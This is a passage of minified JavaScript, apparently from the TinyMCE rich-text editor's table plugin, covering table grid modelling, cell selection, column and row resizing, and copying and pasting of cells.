t=be(a,n.toString()),r={element:e.element,rowspan:e.rowspan,colspan:e.colspan,row:s,column:n,isLocked:t},o=0;o<e.colspan;o++)for(var u=0;u<e.rowspan;u++){var i=n+o;l[s+u+","+i]=r,f=Math.max(f,i+1)}c.push(r)}),t++,n.push(ve(e.element,c,e.section)),s++});var u=F(o).map(function(e){var o,u,n=(o={},u=0,A(e.cells,function(t){var r=t.colspan;D(r,function(e){var n=u+e;o[n]={element:t.element,colspan:r,column:n}}),u+=r}),o);return{colgroups:[{element:e.element,columns:de(n)}],columns:n}}).getOrThunk(function(){return{colgroups:[],columns:{}}}),i=u.columns,c=u.colgroups;return{grid:{rows:t,columns:f},access:l,all:n,columns:i,colgroups:c}}function wt(e,n){var t=n.column,r=n.column+n.colspan-1,o=n.row,u=n.row+n.rowspan-1;return t<=e.finishCol&&r>=e.startCol&&o<=e.finishRow&&u>=e.startRow}function yt(e,n){return n.column>=e.startCol&&n.column+n.colspan-1<=e.finishCol&&n.row>=e.startRow&&n.row+n.rowspan-1<=e.finishRow}function Ct(e,n,t){var r=$t.findItem(e,n,ce),o=$t.findItem(e,t,ce);return r.bind(function(r){return o.map(function(e){return n=r,t=e,{startRow:Math.min(n.row,t.row),startCol:Math.min(n.column,t.column),finishRow:Math.max(n.row+n.rowspan-1,t.row+t.rowspan-1),finishCol:Math.max(n.column+n.colspan-1,t.column+t.colspan-1)};var n,t})})}function St(n,e,t){return Ct(n,e,t).map(function(e){return O($t.filterItems(n,P(wt,e)),function(e){return e.element})})}function Tt(e,n){return $t.findItem(e,n,function(e,n){return le(n,e)}).map(function(e){return e.element})}function xt(e,n,t,r,o){var u=Kt(e),i=ce(e,t)?q.some(n):Tt(u,n),c=ce(e,o)?q.some(r):Tt(u,r);return i.bind(function(n){return c.bind(function(e){return St(u,n,e)})})}function Rt(n,t){rn(n).each(function(e){e.dom.insertBefore(t.dom,n.dom)})}function Dt(e,n){cn(e).fold(function(){rn(e).each(function(e){Xt(e,n)})},function(e){Rt(e,n)})}function Ot(n,t){an(n,0).fold(function(){Xt(n,t)},function(e){n.dom.insertBefore(t.dom,e.dom)})}function At(e,n){Rt(e,n),Xt(n,e)}function kt(t,r){A(r,function(e,n){Dt(0===n?t:r[n-1],e)})}function It(n,e){A(e,function(e){Xt(n,e)})}function Bt(e){e.dom.textContent="",A(ln(e),function(e){Yt(e)})}function Mt(e){var n,t=ln(e);0<t.length&&(n=e,A(t,function(e){Rt(n,e)})),Yt(e)}function Et(e){return Jt.get(e)}function Pt(e){return Jt.getOption(e)}function Nt(e,n){return Jt.set(e,n)}function zt(e,n){return k(N(e.all,function(e){return e.cells}),n)}var Lt,_t,Wt=function(e,n){e.dom.removeAttribute(n)},jt=function(e,n){return Fn(e)?e.style.getPropertyValue(n):""},Ft=C(10),Ht=C(10),Vt=function(e,n,t){return N(ln(e),function(e){return oe(e,n)?t(e)?[e]:[]:Vt(e,n,t)})},qt=function(e){return rt(e).fold(C([]),function(e){return mn(e,"colgroup")})},Ut=function(e,n){return ye(e.element,n,e.section,e.isNew)},Gt="data-snooker-locked-cols",$t={fromTable:function(e){return vt(ct(e))},generate:vt,getAt:function(e,n,t){return q.from(e.access[n+","+t])},findItem:function(e,n,t){var r=zt(e,function(e){return t(n,e.element)});return 0<r.length?q.some(r[0]):q.none()},filterItems:zt,justCells:function(e){return N(e.all,function(e){return e.cells})},justColumns:function(e){return de(e.columns)},hasColumns:function(e){return 0<Ue(e.columns).length},getColumnAt:function(e,n){return q.from(e.columns[n])}},Kt=$t.fromTable,Xt=function(e,n){e.dom.appendChild(n.dom)},Yt=function(e){var n=e.dom;null!==n.parentNode&&n.parentNode.removeChild(n)},Jt=(Lt=pn,{get:function(e){if(!Lt(e))throw new Error("Can only get text value of a text node");return _t(e).getOr("")},getOption:_t=function(e){return Lt(e)?q.from(e.dom.nodeValue):q.none()},set:function(e,n){if(!Lt(e))throw new Error("Can only set raw text value of a text node");e.dom.nodeValue=n}}),Qt=["body","p","div","article","aside","figcaption","figure","footer","header","nav","section","ol","ul","li","table","thead","tbody","tfoot","caption","tr","td","th","h1","h2","h3","h4","h5","h6","blockquote","pre","address"];function Zt(){return{up:C({selector:On,closest:In,predicate:Dn,all:on}),down:C({selector:dn,predicate:xn}),styles:C({get:Un,getRaw:Gn,set:Vn,remove:$n}),attrs:C({get:Pn,set:Mn,remove:Wt,copyTo:function(e,n){En(n,zn(e))}}),insert:C({before:Rt,after:Dt,afterAll:kt,append:Xt,appendAll:It,prepend:Ot,wrap:At}),remove:C({unwrap:Mt,remove:Yt}),create:C({nu:Ve.fromTag,clone:function(e){return Ve.fromDom(e.dom.cloneNode(!1))},text:Ve.fromText}),query:C({comparePosition:function(e,n){return e.dom.compareDocumentPosition(n.dom)},prevSibling:un,nextSibling:cn}),property:C({children:ln,name:Ye,parent:rn,document:function(e){return tn(e).dom},isText:pn,isComment:Ze,isElement:gn,isSpecial:function(e){return y(["script","noscript","iframe","noframes","noembed","title","style","textarea","xmp"],Ye(e))},getLanguage:function(e){return gn(e)?Nn(e,"lang"):q.none()},getText:Et,setText:Nt,isBoundary:function(e){return!!gn(e)&&("body"===Ye(e)||y(Qt,Ye(e)))},isEmptyTag:function(e){return!!gn(e)&&y(["br","img","hr","input"],Ye(e))},isNonEditable:function(e){return gn(e)&&"false"===Pn(e,"contenteditable")}}),eq:ce,is:qe}}function er(t,e){return Hr(qr,function(e,n){return t(n)},e)}function nr(e){return On(e,"table")}function tr(c,l,a){function f(n){return function(e){return void 0!==a&&a(e)||ce(e,n)}}return ce(c,l)?q.some({boxes:q.some([c]),start:c,finish:l}):nr(c).bind(function(i){return nr(l).bind(function(u){if(ce(i,u))return q.some({boxes:(r=c,o=l,St(Kt(i),r,o)),start:c,finish:l});if(le(i,u)){var e=0<(n=sn(l,"td,th",f(i))).length?n[n.length-1]:l;return q.some({boxes:xt(i,c,i,l,u),start:c,finish:e})}if(le(u,i)){var n,t=0<(n=sn(c,"td,th",f(u))).length?n[n.length-1]:c;return q.some({boxes:xt(u,c,i,l,u),start:c,finish:t})}return Vr(qr,c,l,void 0).shared.bind(function(e){return In(e,"table",a).bind(function(e){var n=sn(l,"td,th",f(e)),t=0<n.length?n[n.length-1]:l,r=sn(c,"td,th",f(e)),o=0<r.length?r[r.length-1]:c;return q.some({boxes:xt(e,c,i,l,u),start:o,finish:t})})});var r,o})})}function rr(e,n){var t=dn(e,n);return 0<t.length?q.some(t):q.none()}function or(e,n,r){return kn(e,n).bind(function(t){return kn(e,r).bind(function(n){return er(nr,[t,n]).map(function(e){return{first:t,last:n,table:e}})})})}function ur(e,r,o,u,n){return t=n,w(e,function(e){return oe(e,t)}).bind(function(e){return t=r,i=o,rt(n=e).bind(function(e){var r=Kt(e),o=t,u=i;return $t.findItem(r,n,ce).bind(function(e){var n=0<o?e.row+e.rowspan-1:e.row,t=0<u?e.column+e.colspan-1:e.column;return $t.getAt(r,n+o,t+u).map(function(e){return e.element})})}).bind(function(e){return t=u,On(n=e,"table").bind(function(e){return kn(e,t).bind(function(e){return tr(e,n).bind(function(n){return n.boxes.map(function(e){return{boxes:e,start:n.start,finish:n.finish}})})})});var n,t});var n,t,i});var t}function ir(o,e,n){return or(o,e,n).bind(function(c){function e(e){return ce(o,e)}var n="thead,tfoot,tbody,table",t=On(c.first,n,e),r=On(c.last,n,e);return t.bind(function(i){return r.bind(function(e){return ce(i,e)?(t=c.table,r=c.first,o=c.last,u=Kt(t),Ct(n=u,r,o).bind(function(e){return function(e,n){for(var t=!0,r=P(yt,n),o=n.startRow;o<=n.finishRow;o++)for(var u=n.startCol;u<=n.finishCol;u++)t=t&&$t.getAt(e,o,u).exists(r);return t?q.some(n):q.none()}(n,e)})):q.none();var n,t,r,o,u})})})}function cr(e,n,t,r){return e.fold(n,t,r)}function lr(e,n){return Ve.fromDom(e.dom.cloneNode(n))}function ar(e){return lr(e,!1)}function fr(e){return lr(e,!0)}function sr(e,n){var t=Ve.fromTag(n);return En(t,zn(e)),t}function mr(r,o){function e(e){var n=o(e);if(n<=0||null===n){var t=Un(e,r);return parseFloat(t)||0}return n}function u(o,e){return B(e,function(e,n){var t=Un(o,n),r=void 0===t?0:parseInt(t,10);return isNaN(r)?e:e+r},0)}return{set:function(e,n){if(!f(n)&&!n.match(/^[0-9]+$/))throw new Error(r+".set accepts only positive integer values. Value was "+n);var t=e.dom;Fn(t)&&(t.style[r]=n+"px")},get:e,getOuter:e,aggregate:u,max:function(e,n,t){var r=u(e,t);return r<n?n-r:0}}}function dr(){var e=He().browser;return e.isIE()||e.isEdge()}function gr(e,n,t){return r=Un(e,n),o=t,u=parseFloat(r),(isNaN(u)?q.none():q.some(u)).getOr(o);var r,o,u}function pr(e){return Un(e,"box-sizing")}function br(e,n,t,r){return n-gr(e,"padding-"+t,0)-gr(e,"padding-"+r,0)-gr(e,"border-"+t+"-width",0)-gr(e,"border-"+r+"-width",0)}function hr(e,n){var t=e.dom,r=t.getBoundingClientRect().width||t.offsetWidth;return"border-box"===n?r:br(e,r,"left","right")}function vr(e){return Jr.get(e)}function wr(e){return Jr.getOuter(e)}function yr(t,r){void 0===r&&(r=x);var e=t.grid,n=D(e.columns,S),o=D(e.rows,S);return O(n,function(n){return eo(function(){return N(o,function(e){return $t.getAt(t,e,n).filter(function(e){return e.column===n}).toArray()})},function(e){return 1===e.colspan&&r(e.element)},function(){return $t.getAt(t,0,n)})})}function Cr(t){var e=t.grid,n=D(e.rows,S),r=D(e.columns,S);return O(n,function(n){return eo(function(){return N(r,function(e){return $t.getAt(t,n,e).filter(function(e){return e.row===n}).fold(C([]),function(e){return[e]})})},function(e){return 1===e.rowspan},function(){return $t.getAt(t,n,0)})})}function Sr(n,t){return function(e){return"rtl"===no(e)?t:n}}function Tr(e){return to.get(e)}function xr(e){return to.getOuter(e)}function Rr(e,n){return void 0!==e?e:void 0!==n?n:0}function Dr(e){var n=e.dom.ownerDocument,t=n.body,r=n.defaultView,o=n.documentElement;if(t===e.dom)return uo(t.offsetLeft,t.offsetTop);var u=Rr(null==r?void 0:r.pageYOffset,o.scrollTop),i=Rr(null==r?void 0:r.pageXOffset,o.scrollLeft),c=Rr(o.clientTop,t.clientTop),l=Rr(o.clientLeft,t.clientLeft);return io(e).translate(i-l,u-c)}function Or(e,n){return{row:e,y:n}}function Ar(e,n){return{col:e,x:n}}function kr(e){return Dr(e).left+wr(e)}function Ir(e){return Dr(e).left}function Br(e,n){return Ar(e,Ir(n))}function Mr(e,n){return Ar(e,kr(n))}function Er(e){return Dr(e).top}function Pr(e,n){return Or(e,Er(n))}function Nr(e,n){return Or(e,Er(n)+xr(n))}function zr(t,n,r){if(0===r.length)return[];var e=O(r.slice(1),function(e,n){return e.map(function(e){return t(n,e)})}),o=r[r.length-1].map(function(e){return n(r.length-1,e)});return e.concat([o])}function Lr(i){if(!a(i))throw new Error("cases must be an array");if(0===i.length)throw new Error("there must be at least one case");var c=[],t={};return A(i,function(e,r){var n=Ue(e);if(1!==n.length)throw new Error("one and only one name per case");var o=n[0],u=e[o];if(void 0!==t[o])throw new Error("duplicate key detected:"+o);if("cata"===o)throw new Error("cannot have a case named cata (sorry)");if(!a(u))throw new Error("case arguments must be an array");c.push(o),t[o]=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var n=t.length;if(n!==u.length)throw new Error("Wrong number of arguments to case "+o+". Expected "+u.length+" ("+u+"), got "+n);return{fold:function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];if(e.length!==i.length)throw new Error("Wrong number of arguments to fold. Expected "+i.length+", got "+e.length);return e[r].apply(null,t)},match:function(e){var n=Ue(e);if(c.length!==n.length)throw new Error("Wrong number of arguments to match. Expected: "+c.join(",")+"\nActual: "+n.join(","));if(!z(c,function(e){return y(n,e)}))throw new Error("Not all branches were specified when using match. Specified: "+n.join(", ")+"\nRequired: "+c.join(", "));return e[o].apply(null,t)},log:function(e){console.log(e,{constructors:c,constructor:o,params:t})}}}}),t}var _r,Wr,jr,Fr=function(n,e,t){return e.bind(function(e){return t.filter(P(n.eq,e))})},Hr=function(e,n,t){return 0<t.length?(r=e,o=n,u=t[0],I(t.slice(1),function(e,n){var t=o(r,n);return Fr(r,e,t)},o(r,u))):q.none();var r,o,u},Vr=function(n,e,t,r){function o(n){return b(n,r).fold(function(){return n},function(e){return n.slice(0,e+1)})}void 0===r&&(r=v);var u=[e].concat(n.up().all(e)),i=[t].concat(n.up().all(t)),c=o(u),l=o(i),a=w(c,function(e){return R(l,P(n.eq,e))});return{firstpath:c,secondpath:l,shared:a}},qr=Zt(),Ur=rr,Gr=Lr([{none:[]},{multiple:["elements"]},{single:["element"]}]),$r=Gr.none,Kr=Gr.multiple,Xr=Gr.single,Yr=tinymce.util.Tools.resolve("tinymce.PluginManager"),Jr=mr("width",function(e){return e.dom.offsetWidth}),Qr=function(e){return hr(e,"content-box")},Zr=function(e){return dr()?hr(e,pr(e)):gr(e,"width",e.dom.offsetWidth)},eo=function(e,n,t){var r=e();return w(r,n).orThunk(function(){return q.from(r[0]).orThunk(t)}).map(function(e){return e.element})},no=function(e){return"rtl"===Un(e,"direction")?"rtl":"ltr"},to=mr("height",function(e){var n=e.dom;return Sn(e)?n.getBoundingClientRect().height:n.offsetHeight}),ro=function(e){return dr()?(t=pr(n=e),o=(r=n.dom).getBoundingClientRect().height||r.offsetHeight,"border-box"===t?o:br(n,o,"top","bottom")):gr(e,"height",e.dom.offsetHeight);var n,t,r,o},oo=function(t,r){return{left:t,top:r,translate:function(e,n){return oo(t+e,r+n)}}},uo=oo,io=function(e){var n,t=e.dom,r=t.ownerDocument.body;return r===t?uo(r.offsetLeft,r.offsetTop):Sn(e)?(n=t.getBoundingClientRect(),uo(n.left,n.top)):uo(0,0)},co={delta:S,positions:function(e){return zr(Pr,Nr,e)},edge:Er},lo=Sr({delta:S,edge:Ir,positions:function(e){return zr(Br,Mr,e)}},{delta:function(e){return-e},edge:kr,positions:function(e){return zr(Mr,Br,e)}}),ao={delta:function(e,n){return lo(n).delta(e,n)},positions:function(e,n){return lo(n).positions(e,n)},edge:function(e){return lo(e).edge(e)}},fo={unsupportedLength:["em","ex","cap","ch","ic","rem","lh","rlh","vw","vh","vi","vb","vmin","vmax","cm","mm","Q","in","pc","pt","px"],fixed:["px","pt"],relative:["%"],empty:[""]},so=(jr=["Infinity",(_r="[0-9]+")+"\\."+mo(_r)+mo(Wr="[eE][+-]?[0-9]+"),"\\."+_r+mo(Wr),_r+mo(Wr)].join("|"),new RegExp("^([+-]?(?:"+jr+"))(.*)$"));function mo(e){return"(?:"+e+")?"}function go(e,n,t){var r=q.from(e.dom.parentElement).map(Ve.fromDom).getOrThunk(function(){return Tn(nn(e))});return n(e)/t(r)*100}function po(e,n){Vn(e,"width",n+"px")}function bo(e,n){Vn(e,"width",n+"%")}function ho(e,n){Vn(e,"height",n+"px")}function vo(e){var n,t,r,o,u,i,c,l,a,f,s=ro(e)+"px";return s?(n=s,t=e,r=Tr,o=ho,f=parseFloat(n),ee(n,"%")&&"table"!==Ye(t)?(i=f,c=r,l=o,a=rt(u=t).map(function(e){var n=c(e);return Math.floor(i/100*n)}).getOr(i),l(u,a),a):f):Tr(e)}function wo(e,n){return Gn(e,n).orThunk(function(){return Nn(e,n).map(function(e){return e+"px"})})}function yo(e){return wo(e,"width")}function Co(e){return go(e,vr,Qr)}function So(e){return(jl(e)?vr:Zr)(e)}function To(e){return vo(n=e)/Xn(n,"rowspan");var n}function xo(e,n,t){Vn(e,"width",n+t)}function Ro(e){return go(e,vr,Qr)+"%"}function Do(e){return yo(e).getOrThunk(function(){return So(e)+"px"})}function Oo(e){return wo(e,"height").getOrThunk(function(){return To(e)+"px"})}function Ao(e,n,t,r,o,u){return e.filter(r).fold(function(){return u(function(t,r){if(r<0||r>=t.length-1)return q.none();var e=t[r].fold(function(){var e,n;return H((e=t.slice(0,r),(n=U.call(e,0)).reverse(),n),function(e,n){return e.map(function(e){return{value:e,delta:n+1}})})},function(e){return q.some({value:e,delta:0})}),n=t[r+1].fold(function(){return H(t.slice(r+1),function(e,n){return e.map(function(e){return{value:e,delta:n+1}})})},function(e){return q.some({value:e,delta:1})});return e.bind(function(t){return n.map(function(e){var n=e.delta+t.delta;return Math.abs(e.value-t.value)/n})})}(t,n))},function(e){return o(e)})}function ko(e,n,i,c){var l=yr(e),t=$t.hasColumns(e)?O($t.justColumns(e),function(e){return q.from(e.element)}):l,a=[q.some(ao.edge(n))].concat(O(ao.positions(l,n),function(e){return e.map(function(e){return e.x})})),f=p(Yn);return O(t,function(e,u){return Ao(e,u,a,f,function(e){return t=e,o=(r=He().browser).isChrome()||r.isFirefox(),!Hl(t)||o?i(e):Ao(null!=(n=l[u])?S(n):q.none(),u,a,f,function(e){return c(q.some(vr(e)))},c);var n,t,r,o},c)})}function Io(e){return e.map(function(e){return e+"px"}).getOr("")}function Bo(e,n,t){return ko(e,n,So,function(e){return e.getOrThunk(t.minCellWidth)})}function Mo(e,n,t,r,o){var u=Cr(e),i=[q.some(t.edge(n))].concat(O(t.positions(u,n),function(e){return e.map(function(e){return e.y})}));return O(u,function(e,n){return Ao(e,n,i,p(Jn),r,o)})}function Eo(e,n){return function(){return Sn(e)?n(e):parseFloat(Gn(e,"width").getOr("0"))}}function Po(r){var t=Eo(r,function(e){return parseFloat(Ro(e))}),n=Eo(r,vr);return{width:t,pixelWidth:n,getWidths:function(e,n){return t=n,ko(e,r,Co,function(e){return e.fold(function(){return t.minCellWidth()},function(e){return e/t.pixelWidth()*100})});var t},getCellDelta:function(e){return e/n()*100},singleColumnWidth:function(e,n){return[100-e]},minCellWidth:function(){return Ft()/n()*100},setElementWidth:bo,adjustTableWidth:function(e){var n=t();bo(r,n+e/100*n)},isRelative:!0,label:"percent"}}function No(t){var r=Eo(t,vr);return{width:r,pixelWidth:r,getWidths:function(e,n){return Bo(e,t,n)},getCellDelta:S,singleColumnWidth:function(e,n){return[Math.max(Ft(),e+n)-e]},minCellWidth:Ft,setElementWidth:po,adjustTableWidth:function(e){var n=r()+e;po(t,n)},isRelative:!1,label:"pixel"}}function zo(e,n){function t(e){return oe(e.element,n)}var u,r,i,c,l,a,f,s,o,m,d,g,p=fr(e),b=ct(p),h=Vl(e),v=$t.generate(b),w=(u=t,r=v.grid.columns,i=v.grid.rows,c=r,a=l=0,f=[],s=[],ae(v.access,function(e){var n,t,r,o;f.push(e),u(e)&&(s.push(e),t=(n=e.row)+e.rowspan-1,o=(r=e.column)+e.colspan-1,n<i?i=n:l<t&&(l=t),r<c?c=r:a<o&&(a=o))}),{minRow:i,minCol:c,maxRow:l,maxCol:a,allCells:f,selectedCells:s}),y="th:not("+n+"),td:not("+n+")";return A(Vt(p,"th,td",function(e){return oe(e,y)}),Yt),function(e,n,t,r){for(var o,u,i,c=n.grid.columns,l=n.grid.rows,a=0;a<l;a++)for(var f=!1,s=0;s<c;s++)a<t.minRow||a>t.maxRow||s<t.minCol||s>t.maxCol||($t.getAt(n,a,s).filter(r).isNone()?(o=f,0,u=e[a].element,i=Ve.fromTag("td"),Xt(i,Ve.fromTag("br")),(o?Xt:Ot)(u,i)):f=!0)}(b,v,w,t),o=p,m=w,d=v,g=function(e,n,t,r){if(0===r.minCol&&n.grid.columns===r.maxCol+1)return 0;var o=Bo(n,e,t),u=B(o,function(e,n){return e+n},0),i=B(o.slice(r.minCol,r.maxCol+1),function(e,n){return e+n},0)/u*t.pixelWidth()-t.pixelWidth();return t.getCellDelta(i)}(e,$t.fromTable(e),h,w),ae(d.columns,function(e){(e.column<m.minCol||e.column>m.maxCol)&&Yt(e.element)}),A(k(Zn(o,"tr"),function(e){return 0===e.dom.childElementCount}),Yt),m.minCol!==m.maxCol&&m.minRow!==m.maxRow||A(Zn(o,"th,td"),function(e){Wt(e,"rowspan"),Wt(e,"colspan")}),Wt(o,Gt),Wt(o,"data-snooker-col-series"),Vl(o).adjustTableWidth(g),p}function Lo(e){return"img"===Ye(e)?1:Pt(e).fold(function(){return ln(e).length},function(e){return e.length})}function _o(e){return Pt(e).filter(function(e){return 0!==e.trim().length||-1<e.indexOf("\xa0")}).isSome()||y(Gl,Ye(e))}function Wo(e){return o=_o,(u=function(e){for(var n=0;n<e.childNodes.length;n++){var t=Ve.fromDom(e.childNodes[n]);if(o(t))return q.some(t);var r=u(e.childNodes[n]);if(r.isSome())return r}return q.none()})(e.dom);var o,u}function jo(e){return $l(e,_o)}function Fo(n){return function(){var e=Ve.fromTag("td",n.dom);return Xt(e,Ve.fromTag("br",n.dom)),e}}function Ho(e){return function(){return Ve.fromTag("col",e.dom)}}function Vo(e){return function(){return Ve.fromTag("colgroup",e.dom)}}function qo(e){return function(){return Ve.fromTag("tr",e.dom)}}function Uo(e,n,t){var r,o,u=(It(o=sr(r=e,n),ln(fr(r))),o);return ae(t,function(e,n){null===e?Wt(u,n):Mn(u,n,e)}),u}function Go(e){return e}function $o(a,f,s){function m(e,n){var t=e.element.dom,r=n.dom;Fn(t)&&Fn(r)&&(r.style.cssText=t.style.cssText),$n(n,"height"),1!==e.colspan&&$n(n,"width")}return{col:function(e){var n=Ve.fromTag(Ye(e.element),f.dom);return m(e,n),a(e.element,n),n},colgroup:Vo(f),row:qo(f),cell:function(e){var n,t,r,o,u,i=Ve.fromTag(Ye(e.element),f.dom),c=s.getOr(["strong","em","b","i","span","font","h1","h2","h3","h4","h5","h6","p","div"]),l=0<c.length?(n=e.element,t=i,r=c,Wo(n).map(function(e){return I(sn(e,r.join(","),function(e){return ce(e,n)}),function(e,n){var t=ar(n);return Wt(t,"contenteditable"),Xt(e,t),t},t)}).getOr(t)):i;return Xt(l,Ve.fromTag("br")),m(e,i),o=e.element,u=i,ae(Kl,function(n,t){return Nn(o,t).filter(function(e){return y(n,e)}).each(function(e){return Mn(u,t,e)})}),a(e.element,i),i},replace:Uo,colGap:Ho(f),gap:Fo(f)}}function Ko(e){return{col:Ho(e),colgroup:Vo(e),row:qo(e),cell:Fo(e),replace:Go,colGap:Ho(e),gap:Fo(e)}}function Xo(e){return O(e,Ve.fromDom)}function Yo(e){return Ve.fromDom(e.getBody())}function Jo(e){return e.getBoundingClientRect().width}function Qo(e){return e.getBoundingClientRect().height}function Zo(n){return function(e){return ce(e,Yo(n))}}function eu(e){return/^\d+(\.\d+)?$/.test(e)?e+"px":e}function nu(e){function n(e){return Wt(e,"data-mce-style")}Wt(e,"data-mce-style"),A(nt(e),n),A(tt(e),n),A(ot(e),n)}function tu(e){return Ve.fromDom(e.selection.getStart())}function ru(e){return cr(e.get(),C([]),S,_)}function ou(e,n,t){return{element:t,mergable:(u=n,i=Xl,cr(e.get(),q.none,function(n){return n.length<=1?q.none():ir(u,i.firstSelectedSelector,i.lastSelectedSelector).map(function(e){return{bounds:e,cells:n}})},q.none)),unmergable:0<(o=ru(e)).length&&z(o,function(e){return r(e,"rowspan")||r(e,"colspan")})?q.some(o):q.none(),selection:ru(e)};function r(e,n){return Nn(e,n).exists(function(e){return 1<parseInt(e,10)})}var o,u,i}function uu(o){return function(e,n){var t,r=Ye(e);return In("col"===r||"colgroup"===r?rt(t=e).bind(function(e){return Ur(e,Xl.firstSelectedSelector)}).fold(C(t),function(e){return e[0]}):e,o,n)}}function iu(a,e,f){a.on("BeforeGetContent",function(t){!0===t.selection&&cr(e.get(),E,function(e){t.preventDefault(),rt(e[0]).map(function(e){var n=zo(e,"[data-mce-selected]");return nu(n),[n]}).each(function(e){var n;t.content="text"===t.format?O(e,function(e){return e.dom.innerText}).join(""):(n=a,O(e,function(e){return n.selection.serializer.serialize(e.dom,{})}).join(""))})},E)}),a.on("BeforeSetContent",function(l){!0===l.selection&&!0===l.paste&&j(Ql(e)).each(function(c){rt(c).each(function(e){var n,t,r,o,u=k((n=l.content,(t=document.createElement("div")).innerHTML=n,ln(Ve.fromDom(t))),function(e){return"meta"!==Ye(e)}),i=en("table");1===u.length&&i(u[0])&&(l.preventDefault(),r=Ko(Ve.fromDom(a.getDoc())),o={element:c,clipboard:u[0],generators:r},f.pasteCells(e,o).each(function(){a.focus()}))})})})}function cu(e,n,t){for(var r=0,o=e;o<n;o++)r+=void 0!==t[o]?t[o]:0;return r}function lu(e,n,t){var r,o,u,i;A((r=e,o=n,$t.hasColumns(r)?(i=o,O($t.justColumns(r),function(e,n){return{element:e.element,width:i[n],colspan:e.colspan}})):(u=o,O($t.justCells(r),function(e){var n=cu(e.column,e.column+e.colspan,u);return{element:e.element,width:n,colspan:e.colspan}}))),function(e){t.setElementWidth(e.element,e.width)})}function au(e,n,t,r,o){var u,i,c,l,a,f,s,m,d,g,p=$t.fromTable(e),b=o.getCellDelta(n),h=o.getWidths(p,o),v=t===p.grid.columns-1,w=r.clampTableDelta(h,t,b,o.minCellWidth(),v),y=(i=t,c=w,l=o,a=r,m=(u=h).slice(0),s=i,d=0===(f=u).length?ea.none():1===f.length?ea.only(0):0===s?ea.left(0,1):s===f.length-1?ea.right(s-1,s):0<s&&s<f.length-1?ea.middle(s-1,s,s+1):ea.none(),g=C(O(m,C(0))),d.fold(g,function(e){return l.singleColumnWidth(m[e],c)},function(e,n){return a.calcLeftEdgeDeltas(m,e,n,c,l.minCellWidth(),l.isRelative)},function(e,n,t){return a.calcMiddleDeltas(m,e,n,t,c,l.minCellWidth(),l.isRelative)},function(e,n){return a.calcRightEdgeDeltas(m,e,n,c,l.minCellWidth(),l.isRelative)}));lu(p,O(y,function(e,n){return e+h[n]}),o),r.resizeTable(o.adjustTableWidth,w,v)}function fu(e){return O(e,C(0))}function su(e,n,t,r,o){return o(e.slice(0,n)).concat(r).concat(o(e.slice(t)))}function mu(i){return function(e,n,t,r){if(i(t)){var o=Math.max(r,e[n]-Math.abs(t)),u=Math.abs(o-e[n]);return 0<=t?u:-u}return t}}function du(){function f(e,t,n,r){var o=(100+n)/100,u=Math.max(r,(e[t]+n)/o);return O(e,function(e,n){return(n===t?u:e/o)-e})}function c(e,n,t,r,o,u){return u?f(e,n,r,o):(l=t,a=na(i=e,c=n,r,o),su(i,c,l+1,[a,0],fu));var i,c,l,a}return{resizeTable:function(e,n){return e(n)},clampTableDelta:na,calcLeftEdgeDeltas:c,calcMiddleDeltas:function(e,n,t,r,o,u,i){return c(e,t,r,o,u,i)},calcRightEdgeDeltas:function(e,n,t,r,o,u){if(u)return f(e,t,r,o);var i=na(e,t,r,o);return fu(e.slice(0,t)).concat([i])},calcRedestributedWidths:function(e,n,t,r){if(r){var o=(n+t)/n,u=O(e,function(e){return e/o});return{delta:100*o-100,newSizes:u}}return{delta:t,newSizes:e}}}}function gu(){function i(e,n,t,r,o){var u=ta(e,0<=r?t:n,r,o);return su(e,n,t+1,[u,-u],fu)}return{resizeTable:function(e,n,t){t&&e(n)},clampTableDelta:function(e,n,t,r,o){if(o){if(0<=t)return t;var u=B(e,function(e,n){return e+n-r},0);return Math.max(-u,t)}return na(e,n,t,r)},calcLeftEdgeDeltas:i,calcMiddleDeltas:function(e,n,t,r,o,u){return i(e,t,r,o,u)},calcRightEdgeDeltas:function(e,n,t,r,o,u){return u?fu(e):O(e,C(r/e.length))},calcRedestributedWidths:function(e,n,t,r){return{delta:0,newSizes:e}}}}function pu(e,n,t){var r=t.substring(0,t.length-e.length),o=parseFloat(r);return r===o.toString()?n(o):ra.invalid(t)}function bu(e,n,t){var r,o,u,i,c=oa.from(t),l=z(e,function(e){return"0px"===e})?(r=e.length,o=c.fold(function(){return C("")},function(e){return C(e/r+"px")},function(){return C(100/r+"%")}),D(r,o)):(u=e,i=n,c.fold(function(){return u},function(e){return t=(n=e)/i,O(u,function(e){return oa.from(e).fold(function(){return e},function(e){return e*t+"px"},function(e){return e/100*n+"px"})});var n,t},function(e){return n=i,O(u,function(e){return oa.from(e).fold(function(){return e},function(e){return e/n*100+"%"},function(e){return e+"%"})});var n}));return ua(l)}function hu(e,n){return 0===e.length?n:I(e,function(e,n){return oa.from(n).fold(C(0),S,S)+e},0)}function vu(e){return ia(e).fold(C("px"),C("px"),C("%"))}function wu(l,e,n){var a=$t.fromTable(l),i=a.all,f=$t.justCells(a),s=$t.justColumns(a);e.each(function(e){var t,r,o,u,n=vu(e),i=vr(l),c=bu(ko(a,l,Do,Io),i,e);$t.hasColumns(a)?(o=c,u=n,A(s,function(e,n){var t=hu([o[n]],Ft());Vn(e.element,"width",t+u)})):(t=c,r=n,A(f,function(e){var n=hu(t.slice(e.column,e.colspan+e.column),Ft());Vn(e.element,"width",n+r)})),Vn(l,"width",e)}),n.each(function(e){var n=vu(e),t=Tr(l),r=bu(Mo(a,l,co,Oo,Io),t,e),o=i,u=n;A(f,function(e){var n=hu(r.slice(e.row,e.rowspan+e.row),Ht());Vn(e.element,"height",n+u)}),A(o,function(e,n){Vn(e.element,"height",r[n])}),Vn(l,"height",e)})}function yu(e){return $t.fromTable(e).grid}function Cu(n){var o=[];return{bind:function(e){if(void 0===e)throw new Error("Event bind error: undefined handler");o.push(e)},unbind:function(n){o=k(o,function(e){return e!==n})},trigger:function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var r={};A(n,function(e,n){r[e]=t[n]}),A(o,function(e){e(r)})}}}function Su(e){return{registry:fe(e,function(e){return{bind:e.bind,unbind:e.unbind}}),trigger:fe(e,function(e){return e.trigger})}}function Tu(e){return e.slice(0).sort()}function xu(n,e){var t=k(e,function(e){return!y(n,e)});0<t.length&&function(){throw new Error("Unsupported keys for object: "+Tu(t).join(", "))}()}function Ru(e){return function(r,o,u){if(0===o.length)throw new Error("You must specify at least one required field.");var t;return function(n,e){if(!a(e))throw new Error("The "+n+" fields must be an array. Was: "+e+".");A(e,function(e){if(!T(e))throw new Error("The value "+e+" in the 